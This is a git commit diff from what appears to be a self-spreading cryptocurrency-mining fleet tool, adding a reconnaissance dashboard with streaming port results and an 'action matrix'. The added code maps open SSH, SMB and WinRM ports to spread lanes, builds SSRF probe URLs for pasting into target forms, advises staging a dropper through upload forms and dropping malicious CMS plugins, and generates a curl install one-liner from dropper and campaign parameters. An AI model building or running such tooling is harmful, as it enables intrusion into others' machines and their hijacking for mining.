Deploy Recon UI: consume new recon APIs with streaming results and action matrix
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -4,7 +4,7 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
|
|||||||
|
|
||||||
## No open code issues
|
## No open code issues
|
||||||
|
|
||||||
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1001**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`.
|
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1007**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`.
|
||||||
|
|
||||||
## By design / safety
|
## By design / safety
|
||||||
|
|
||||||
@@ -24,6 +24,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite
|
|||||||
|------|-------|
|
|------|-------|
|
||||||
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column - hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
|
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column - hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
|
||||||
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. |
|
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. |
|
||||||
|
| **Subnet discovery server store** | `subnet_discoveries` SQLite table; agent WS `subnet_recon_report` ingest; dashboard `GET /api/v1/recon/discovered-hosts` + `subnet_discovery_update` broadcast. Agent auth marks matching IP `agent_online`. Covered by `-SubnetRecon` api/db gates. |
|
||||||
| **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
|
| **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
|
||||||
| **Hashrate samples** | One `INSERT` per agent stats tick - dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). |
|
| **Hashrate samples** | One `INSERT` per agent stats tick - dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). |
|
||||||
| **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) - not a full-table scan. Still O(stale-online) broadcasts per sweep. |
|
| **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) - not a full-table scan. Still O(stale-online) broadcasts per sweep. |
|
||||||
|
|||||||
@@ -257,6 +257,10 @@ if ($SubnetRecon) {
|
|||||||
go test ./client/... ./config/... -run SubnetRecon -count=1
|
go test ./client/... ./config/... -run SubnetRecon -count=1
|
||||||
go test ./deploy/... -run SubnetRecon -count=1
|
go test ./deploy/... -run SubnetRecon -count=1
|
||||||
Pop-Location
|
Pop-Location
|
||||||
|
Push-Location (Join-Path $Root "server")
|
||||||
|
go test ./internal/api/... -run Subnet -count=1
|
||||||
|
go test ./internal/db/... -run Subnet -count=1
|
||||||
|
Pop-Location
|
||||||
Push-Location (Join-Path $Root "server\web")
|
Push-Location (Join-Path $Root "server\web")
|
||||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||||
npm run test -- --run src/help/fleetDiscoveries.test.ts
|
npm run test -- --run src/help/fleetDiscoveries.test.ts
|
||||||
|
|||||||
@@ -695,6 +695,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||||
FleetRole string `json:"fleet_role,omitempty"`
|
FleetRole string `json:"fleet_role,omitempty"`
|
||||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||||
|
IP string `json:"ip,omitempty"`
|
||||||
}
|
}
|
||||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
@@ -821,6 +822,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
||||||
clientIP = clientIP[:idx]
|
clientIP = clientIP[:idx]
|
||||||
}
|
}
|
||||||
|
if authIP := strings.TrimSpace(auth.IP); authIP != "" {
|
||||||
|
clientIP = authIP
|
||||||
|
}
|
||||||
|
|
||||||
prior, priorErr := h.db.GetAgent(agentID)
|
prior, priorErr := h.db.GetAgent(agentID)
|
||||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||||
|
|||||||
@@ -121,8 +121,7 @@ export const StreamingPortMatrix = memo(function StreamingPortMatrix({
|
|||||||
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
|
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{p.port}
|
{p.port}{p.open ? ' *' : ''}
|
||||||
{p.open ? ' ●' : ' ○'}
|
|
||||||
</button>
|
</button>
|
||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
@@ -381,3 +380,4 @@ export function useDeployReconDerived(report: ReconScanReport | null, deckOrigin
|
|||||||
}, [report, deckOrigin]);
|
}, [report, deckOrigin]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,12 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import {
|
import {
|
||||||
|
buildActionMatrix,
|
||||||
buildReconFindingCards,
|
buildReconFindingCards,
|
||||||
buildReconMermaid,
|
buildReconMermaid,
|
||||||
|
buildSsrfCanaryUrl,
|
||||||
crucibleSpreadLink,
|
crucibleSpreadLink,
|
||||||
curlInstallLine,
|
curlInstallLine,
|
||||||
|
isLocalScanUnreachableError,
|
||||||
reconScanBody,
|
reconScanBody,
|
||||||
ssrfConfidence,
|
ssrfConfidence,
|
||||||
} from './deployRecon';
|
} from './deployRecon';
|
||||||
@@ -26,9 +29,41 @@ describe('deployRecon helpers', () => {
|
|||||||
port: 443,
|
port: 443,
|
||||||
scheme: 'https',
|
scheme: 'https',
|
||||||
paths: ['/admin'],
|
paths: ['/admin'],
|
||||||
|
profile: 'quick',
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('maps scan form with profile and port bundle', () => {
|
||||||
|
const body = reconScanBody('10.0.0.1', 80, false, '', 'deep', 'web');
|
||||||
|
expect(body.profile).toBe('deep');
|
||||||
|
expect(body.profiles).toEqual(['web']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('arms ssrf canary for ssrf_only profile', () => {
|
||||||
|
const body = reconScanBody('h', 80, false, '', 'ssrf_only');
|
||||||
|
expect(body.ssrf_canary).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('builds HTTPS canary ping URL', () => {
|
||||||
|
const url = buildSsrfCanaryUrl('http://deck.example', 'scan-1');
|
||||||
|
expect(url).toBe('https://deck.example/recon/ping/scan-1');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('detects unreachable scan errors', () => {
|
||||||
|
expect(isLocalScanUnreachableError('dial tcp: i/o timeout')).toBe(true);
|
||||||
|
expect(isLocalScanUnreachableError('permission denied')).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('builds action matrix from recommendations', () => {
|
||||||
|
const report = {
|
||||||
|
host: 'x',
|
||||||
|
scanned_at: 't',
|
||||||
|
ports: [],
|
||||||
|
recommendations: [{ lane: 'winrm', reason: 'open', priority: 10 }],
|
||||||
|
} as ReconScanReport;
|
||||||
|
expect(buildActionMatrix(report)[0].lane).toBe('winrm');
|
||||||
|
});
|
||||||
|
|
||||||
it('builds curl one-liner with pinned build', () => {
|
it('builds curl one-liner with pinned build', () => {
|
||||||
const line = curlInstallLine('https://deck.example', 'build-abc');
|
const line = curlInstallLine('https://deck.example', 'build-abc');
|
||||||
expect(line).toContain('curl -sL');
|
expect(line).toContain('curl -sL');
|
||||||
@@ -65,4 +100,21 @@ describe('deployRecon helpers', () => {
|
|||||||
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
||||||
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('prefers canary URL in SSRF finding card', () => {
|
||||||
|
const report: ReconScanReport = {
|
||||||
|
host: 'lab.local',
|
||||||
|
scanned_at: '2026-06-07T12:00:00Z',
|
||||||
|
ports: [],
|
||||||
|
canary: {
|
||||||
|
scan_id: 's1',
|
||||||
|
url: 'https://deck.example/recon/ping/s1',
|
||||||
|
status: 'pending',
|
||||||
|
paste_target: 'https://deck.example/recon/ping/s1',
|
||||||
|
},
|
||||||
|
crawl: { pages_fetched: 1, ssrf_score: 10, url_fields: [] },
|
||||||
|
};
|
||||||
|
const cards = buildReconFindingCards(report, 'https://deck.example');
|
||||||
|
expect(cards.find((c) => c.kind === 'ssrf')?.probe_url).toBe('https://deck.example/recon/ping/s1');
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,9 +1,13 @@
|
|||||||
import { shOneliner, pinQuery } from './emberwake';
|
import { combinedDropperQuery, shOneliner } from './emberwake';
|
||||||
|
import { SPREAD_TECHNIQUES_DOC } from './spreadTechniques';
|
||||||
import type {
|
import type {
|
||||||
|
ReconAdminSurfaceFinding,
|
||||||
ReconConfidence,
|
ReconConfidence,
|
||||||
ReconCrawlReport,
|
ReconCrawlReport,
|
||||||
ReconPortResult,
|
ReconPortResult,
|
||||||
|
ReconScanProfile,
|
||||||
ReconScanReport,
|
ReconScanReport,
|
||||||
|
ReconScanRequest,
|
||||||
ReconWebFindingCard,
|
ReconWebFindingCard,
|
||||||
} from '../types/recon';
|
} from '../types/recon';
|
||||||
|
|
||||||
@@ -21,20 +25,250 @@ export const RECON_PORT_HINTS: Record<number, string> = {
|
|||||||
|
|
||||||
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
|
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
|
||||||
|
|
||||||
|
export type ScanProfileId = ReconScanProfile;
|
||||||
|
|
||||||
|
export const SCAN_PROFILES: Record<
|
||||||
|
ScanProfileId,
|
||||||
|
{ label: string; detail: string; ssrfCanaryDefault?: boolean }
|
||||||
|
> = {
|
||||||
|
quick: {
|
||||||
|
label: 'Quick',
|
||||||
|
detail: 'Top fleet TCP ports plus a shallow crawl (1 page).',
|
||||||
|
},
|
||||||
|
deep: {
|
||||||
|
label: 'Deep',
|
||||||
|
detail: 'Full fleet port matrix, banners, and multi-page crawl.',
|
||||||
|
},
|
||||||
|
ssrf_only: {
|
||||||
|
label: 'SSRF only',
|
||||||
|
detail: 'Skip port dial; deep crawl for URL-like form fields.',
|
||||||
|
ssrfCanaryDefault: true,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
export type PortBundleId = 'fleet' | 'web' | 'windows' | 'linux' | 'cloud_metadata';
|
||||||
|
|
||||||
|
export const PORT_BUNDLES: Record<PortBundleId, { label: string; profiles: string[] }> = {
|
||||||
|
fleet: { label: 'Fleet default', profiles: [] },
|
||||||
|
web: { label: 'Web surface', profiles: ['web'] },
|
||||||
|
windows: { label: 'Windows spread', profiles: ['windows'] },
|
||||||
|
linux: { label: 'Linux / SSH', profiles: ['linux'] },
|
||||||
|
cloud_metadata: { label: 'Cloud metadata', profiles: ['cloud_metadata'] },
|
||||||
|
};
|
||||||
|
|
||||||
export function reconScanBody(
|
export function reconScanBody(
|
||||||
host: string,
|
host: string,
|
||||||
port: number,
|
port: number,
|
||||||
https: boolean,
|
https: boolean,
|
||||||
pathPrefix: string,
|
pathPrefix: string,
|
||||||
): { host: string; port: number; scheme: string; paths?: string[] } {
|
profile: ScanProfileId = 'quick',
|
||||||
|
portBundle: PortBundleId = 'fleet',
|
||||||
|
ssrfCanary = false,
|
||||||
|
): ReconScanRequest {
|
||||||
const prefix = pathPrefix.trim();
|
const prefix = pathPrefix.trim();
|
||||||
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
|
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
|
||||||
return {
|
const bundle = PORT_BUNDLES[portBundle] ?? PORT_BUNDLES.fleet;
|
||||||
|
const body: ReconScanRequest = {
|
||||||
host: host.trim(),
|
host: host.trim(),
|
||||||
port: port > 0 ? port : 80,
|
port: port > 0 ? port : 80,
|
||||||
scheme: https ? 'https' : 'http',
|
scheme: https ? 'https' : 'http',
|
||||||
paths,
|
paths,
|
||||||
|
profile,
|
||||||
};
|
};
|
||||||
|
if (bundle.profiles.length > 0) {
|
||||||
|
body.profiles = bundle.profiles;
|
||||||
|
}
|
||||||
|
if (ssrfCanary || SCAN_PROFILES[profile]?.ssrfCanaryDefault) {
|
||||||
|
body.ssrf_canary = true;
|
||||||
|
}
|
||||||
|
return body;
|
||||||
|
}
|
||||||
|
|
||||||
|
const UNREACHABLE_PATTERNS = [
|
||||||
|
'no route to host',
|
||||||
|
'connection refused',
|
||||||
|
'connection timed out',
|
||||||
|
'i/o timeout',
|
||||||
|
'network is unreachable',
|
||||||
|
'host unreachable',
|
||||||
|
'dial tcp',
|
||||||
|
'context deadline exceeded',
|
||||||
|
];
|
||||||
|
|
||||||
|
export function isLocalScanUnreachableError(message: string): boolean {
|
||||||
|
const lower = message.toLowerCase();
|
||||||
|
return UNREACHABLE_PATTERNS.some((p) => lower.includes(p));
|
||||||
|
}
|
||||||
|
|
||||||
|
export function ssrfCanaryToken(scanId: string): string {
|
||||||
|
return scanId.trim();
|
||||||
|
}
|
||||||
|
|
||||||
|
export function buildSsrfCanaryUrl(deckOrigin: string, scanId: string): string {
|
||||||
|
let base = deckOrigin.trim().replace(/\/$/, '');
|
||||||
|
if (!base) base = 'https://localhost';
|
||||||
|
if (base.startsWith('http://')) base = `https://${base.slice('http://'.length)}`;
|
||||||
|
else if (!base.startsWith('https://')) base = `https://${base}`;
|
||||||
|
try {
|
||||||
|
const u = new URL(base);
|
||||||
|
u.protocol = 'https:';
|
||||||
|
u.pathname = `/recon/ping/${encodeURIComponent(scanId.trim())}`;
|
||||||
|
u.search = '';
|
||||||
|
u.hash = '';
|
||||||
|
return u.toString();
|
||||||
|
} catch {
|
||||||
|
return `https://localhost/recon/ping/${encodeURIComponent(scanId.trim())}`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconFormFingerprintCard {
|
||||||
|
id: string;
|
||||||
|
page_url: string;
|
||||||
|
name: string;
|
||||||
|
score: number;
|
||||||
|
matches: string[];
|
||||||
|
paste_target: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function buildFormFingerprintCards(report: ReconScanReport, deckOrigin: string): ReconFormFingerprintCard[] {
|
||||||
|
const crawl = report.crawl;
|
||||||
|
if (!crawl?.fingerprint_fields?.length) return [];
|
||||||
|
const fallback = report.canary?.url
|
||||||
|
?? (report.scan_id ? buildSsrfCanaryUrl(deckOrigin, report.scan_id) : `${deckOrigin.replace(/\/$/, '')}/get`);
|
||||||
|
return crawl.fingerprint_fields.map((f, i) => ({
|
||||||
|
id: `fp-${i}-${f.name}`,
|
||||||
|
page_url: f.page_url,
|
||||||
|
name: f.name,
|
||||||
|
score: f.score,
|
||||||
|
matches: f.matches ?? [],
|
||||||
|
paste_target: f.paste_target?.trim() || fallback,
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
export type AdminSurfaceMapRow = ReconAdminSurfaceFinding;
|
||||||
|
|
||||||
|
export function buildAdminSurfaceMap(report: ReconScanReport): AdminSurfaceMapRow[] {
|
||||||
|
return report.admin_surface ?? [];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function buildTechStackHints(report: ReconScanReport) {
|
||||||
|
const seen = new Set<string>();
|
||||||
|
const out: import('../types/recon').ReconStackEntry[] = [];
|
||||||
|
for (const e of [...(report.stack ?? []), ...(report.crawl?.stack ?? [])]) {
|
||||||
|
const key = `${e.name}|${e.source}`;
|
||||||
|
if (seen.has(key)) continue;
|
||||||
|
seen.add(key);
|
||||||
|
out.push(e);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconActionRow {
|
||||||
|
id: string;
|
||||||
|
lane: string;
|
||||||
|
title: string;
|
||||||
|
reason: string;
|
||||||
|
actions: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function buildActionMatrix(report: ReconScanReport): ReconActionRow[] {
|
||||||
|
const rows: ReconActionRow[] = [];
|
||||||
|
const recs = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority);
|
||||||
|
for (const r of recs) {
|
||||||
|
const lane = (r.lane || r.template || 'spread').trim();
|
||||||
|
rows.push({
|
||||||
|
id: `rec-${lane}`,
|
||||||
|
lane,
|
||||||
|
title: lane,
|
||||||
|
reason: r.reason,
|
||||||
|
actions: ['playbook', 'crucible', 'copy_curl'],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
for (const p of report.ports) {
|
||||||
|
if (!p.open) continue;
|
||||||
|
const hint = RECON_PORT_HINTS[p.port];
|
||||||
|
if (!hint) continue;
|
||||||
|
const lane = portLane(p.port);
|
||||||
|
if (rows.some((x) => x.lane === lane)) continue;
|
||||||
|
rows.push({
|
||||||
|
id: `port-${p.port}`,
|
||||||
|
lane,
|
||||||
|
title: `TCP ${p.port}`,
|
||||||
|
reason: hint,
|
||||||
|
actions: ['playbook', 'crucible'],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (report.crawl?.ssrf_score && !rows.some((x) => x.lane === 'ssrf')) {
|
||||||
|
rows.push({
|
||||||
|
id: 'ssrf-crawl',
|
||||||
|
lane: 'ssrf',
|
||||||
|
title: 'SSRF crawl',
|
||||||
|
reason: `SSRF score ${report.crawl.ssrf_score} from URL-like inputs.`,
|
||||||
|
actions: ['playbook', 'copy_probe'],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return rows;
|
||||||
|
}
|
||||||
|
|
||||||
|
function portLane(port: number): string {
|
||||||
|
if (port === 22) return 'linux-lotl';
|
||||||
|
if (port === 445) return 'smb';
|
||||||
|
if (port === 5985 || port === 5986) return 'winrm';
|
||||||
|
if (port === 80 || port === 443 || port === 8080 || port === 8443) return 'bits_curl';
|
||||||
|
return `tcp-${port}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface PlaybookTreeNode {
|
||||||
|
id: string;
|
||||||
|
label: string;
|
||||||
|
href?: string;
|
||||||
|
children?: PlaybookTreeNode[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function buildPlaybookTree(report: ReconScanReport): PlaybookTreeNode[] {
|
||||||
|
const host = report.host.trim();
|
||||||
|
const children: PlaybookTreeNode[] = [];
|
||||||
|
for (const row of buildActionMatrix(report)) {
|
||||||
|
children.push({
|
||||||
|
id: row.lane,
|
||||||
|
label: `${row.title} - ${row.reason}`,
|
||||||
|
href: crucibleSpreadLink(host, row.lane),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
children.push({
|
||||||
|
id: 'spread-doc',
|
||||||
|
label: 'Spread techniques reference',
|
||||||
|
href: SPREAD_TECHNIQUES_DOC,
|
||||||
|
});
|
||||||
|
return [{ id: 'root', label: host, children }];
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function* streamRevealPorts(
|
||||||
|
ports: ReconPortResult[],
|
||||||
|
chunkSize = 4,
|
||||||
|
delayMs = 40,
|
||||||
|
): AsyncGenerator<ReconPortResult[]> {
|
||||||
|
const sorted = [...ports].sort((a, b) => a.port - b.port);
|
||||||
|
let acc: ReconPortResult[] = [];
|
||||||
|
for (let i = 0; i < sorted.length; i += 1) {
|
||||||
|
acc = [...acc, sorted[i]];
|
||||||
|
if (acc.length % chunkSize === 0 || i === sorted.length - 1) {
|
||||||
|
yield acc;
|
||||||
|
if (i < sorted.length - 1) {
|
||||||
|
await new Promise((r) => setTimeout(r, delayMs));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function suggestDeployKitFinding(report: ReconScanReport): string {
|
||||||
|
if (report.deploy_kit_lane?.trim()) return report.deploy_kit_lane.trim();
|
||||||
|
const top = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority)[0];
|
||||||
|
if (top?.lane) return top.lane;
|
||||||
|
for (const p of report.ports) {
|
||||||
|
if (p.open && FLEET_SPREAD_PORTS.has(p.port)) return portLane(p.port);
|
||||||
|
}
|
||||||
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
export function ssrfConfidence(score: number): ReconConfidence {
|
export function ssrfConfidence(score: number): ReconConfidence {
|
||||||
@@ -43,27 +277,38 @@ export function ssrfConfidence(score: number): ReconConfidence {
|
|||||||
return 'low';
|
return 'low';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function ssrfProbeUrl(report: ReconScanReport, deckOrigin: string, crawl: ReconCrawlReport): string {
|
||||||
|
if (report.canary?.url) return report.canary.url;
|
||||||
|
if (report.canary?.paste_target) return report.canary.paste_target;
|
||||||
|
if (report.scan_id) return buildSsrfCanaryUrl(deckOrigin, report.scan_id);
|
||||||
|
const field = crawl.url_fields?.[0];
|
||||||
|
const drop = `${deckOrigin.replace(/\/$/, '')}/get`;
|
||||||
|
if (!field) return drop;
|
||||||
|
const sep = field.page_url.includes('?') ? '&' : '?';
|
||||||
|
return `${field.page_url}${sep}${field.name}=${encodeURIComponent(drop)}`;
|
||||||
|
}
|
||||||
|
|
||||||
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
|
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
|
||||||
const crawl = report.crawl;
|
const crawl = report.crawl;
|
||||||
const cards: ReconWebFindingCard[] = [];
|
const cards: ReconWebFindingCard[] = [];
|
||||||
if (!crawl) return cards;
|
if (!crawl) return cards;
|
||||||
|
|
||||||
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
|
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0 || report.canary) {
|
||||||
const field = crawl.url_fields?.[0];
|
const field = crawl.url_fields?.[0];
|
||||||
const probe = field
|
const probe = ssrfProbeUrl(report, deckOrigin, crawl);
|
||||||
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
|
|
||||||
: `${deckOrigin.replace(/\/$/, '')}/get`;
|
|
||||||
cards.push({
|
cards.push({
|
||||||
id: 'ssrf',
|
id: 'ssrf',
|
||||||
kind: 'ssrf',
|
kind: 'ssrf',
|
||||||
title: 'SSRF candidate fields',
|
title: report.canary ? 'SSRF canary armed' : 'SSRF candidate fields',
|
||||||
detail: field
|
detail: report.canary
|
||||||
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
|
? `Paste canary URL into reflective fields; server confirms fetch at ${report.canary.status}.`
|
||||||
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
|
: field
|
||||||
confidence: ssrfConfidence(crawl.ssrf_score),
|
? `Reflective field "${field.name}" on ${field.page_url} - paste probe URL into the form.`
|
||||||
|
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
|
||||||
|
confidence: ssrfConfidence(crawl.ssrf_score || (report.canary ? 40 : 0)),
|
||||||
spread_lane: 'ssrf',
|
spread_lane: 'ssrf',
|
||||||
probe_url: probe,
|
probe_url: probe,
|
||||||
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
|
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[canary /get]',
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -74,7 +319,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
|
|||||||
id: 'upload',
|
id: 'upload',
|
||||||
kind: 'file_upload',
|
kind: 'file_upload',
|
||||||
title: 'File upload surface',
|
title: 'File upload surface',
|
||||||
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} — stage dropper when extension policy allows.`,
|
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} - stage dropper when extension policy allows.`,
|
||||||
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
|
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
|
||||||
spread_lane: 'stage_fetch',
|
spread_lane: 'stage_fetch',
|
||||||
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
|
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
|
||||||
@@ -86,7 +331,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
|
|||||||
id: `cms-${cms}`,
|
id: `cms-${cms}`,
|
||||||
kind: 'cms',
|
kind: 'cms',
|
||||||
title: `${cms} CMS hint`,
|
title: `${cms} CMS hint`,
|
||||||
detail: `HTML/path signatures match ${cms} — supply-chain plugin or theme drop may apply.`,
|
detail: `HTML/path signatures match ${cms} - supply-chain plugin or theme drop may apply.`,
|
||||||
confidence: cms === 'wordpress' ? 'high' : 'medium',
|
confidence: cms === 'wordpress' ? 'high' : 'medium',
|
||||||
spread_lane: cms,
|
spread_lane: cms,
|
||||||
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
|
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
|
||||||
@@ -98,7 +343,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
|
|||||||
id: 'web-live',
|
id: 'web-live',
|
||||||
kind: 'info',
|
kind: 'info',
|
||||||
title: 'Web surface live',
|
title: 'Web surface live',
|
||||||
detail: `Crawled ${crawl.pages_fetched} page(s) — browser curl one-liner may work on owned hosts.`,
|
detail: `Crawled ${crawl.pages_fetched} page(s) - browser curl one-liner may work on owned hosts.`,
|
||||||
confidence: 'low',
|
confidence: 'low',
|
||||||
spread_lane: 'bits_curl',
|
spread_lane: 'bits_curl',
|
||||||
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
|
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
|
||||||
@@ -115,7 +360,7 @@ export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindi
|
|||||||
if (!p.open) continue;
|
if (!p.open) continue;
|
||||||
open++;
|
open++;
|
||||||
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
|
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
|
||||||
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
|
lines.push(` target --> p${p.port}["${p.port} open - ${hint}"]`);
|
||||||
}
|
}
|
||||||
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
|
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
|
||||||
cards.slice(0, 3).forEach((c, i) => {
|
cards.slice(0, 3).forEach((c, i) => {
|
||||||
@@ -130,8 +375,8 @@ export function crucibleSpreadLink(host: string, finding?: string): string {
|
|||||||
return `/crucible?${q.toString()}`;
|
return `/crucible?${q.toString()}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
|
export function curlInstallLine(serverBase: string, pinnedBuildId: string, campaignSlug = ''): string {
|
||||||
const base = serverBase.replace(/\/$/, '');
|
const base = serverBase.replace(/\/$/, '');
|
||||||
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
|
const q = combinedDropperQuery(pinnedBuildId, campaignSlug);
|
||||||
return shOneliner(base, q);
|
return shOneliner(base, q);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||||
export const DOC_ANCHORS: Record<string, string> = {
|
export const DOC_ANCHORS: Record<string, string> = {
|
||||||
// Calibrate
|
// Calibrate
|
||||||
calibrate_wallet: '/docs/#calibrate',
|
calibrate_wallet: '/docs/#calibrate',
|
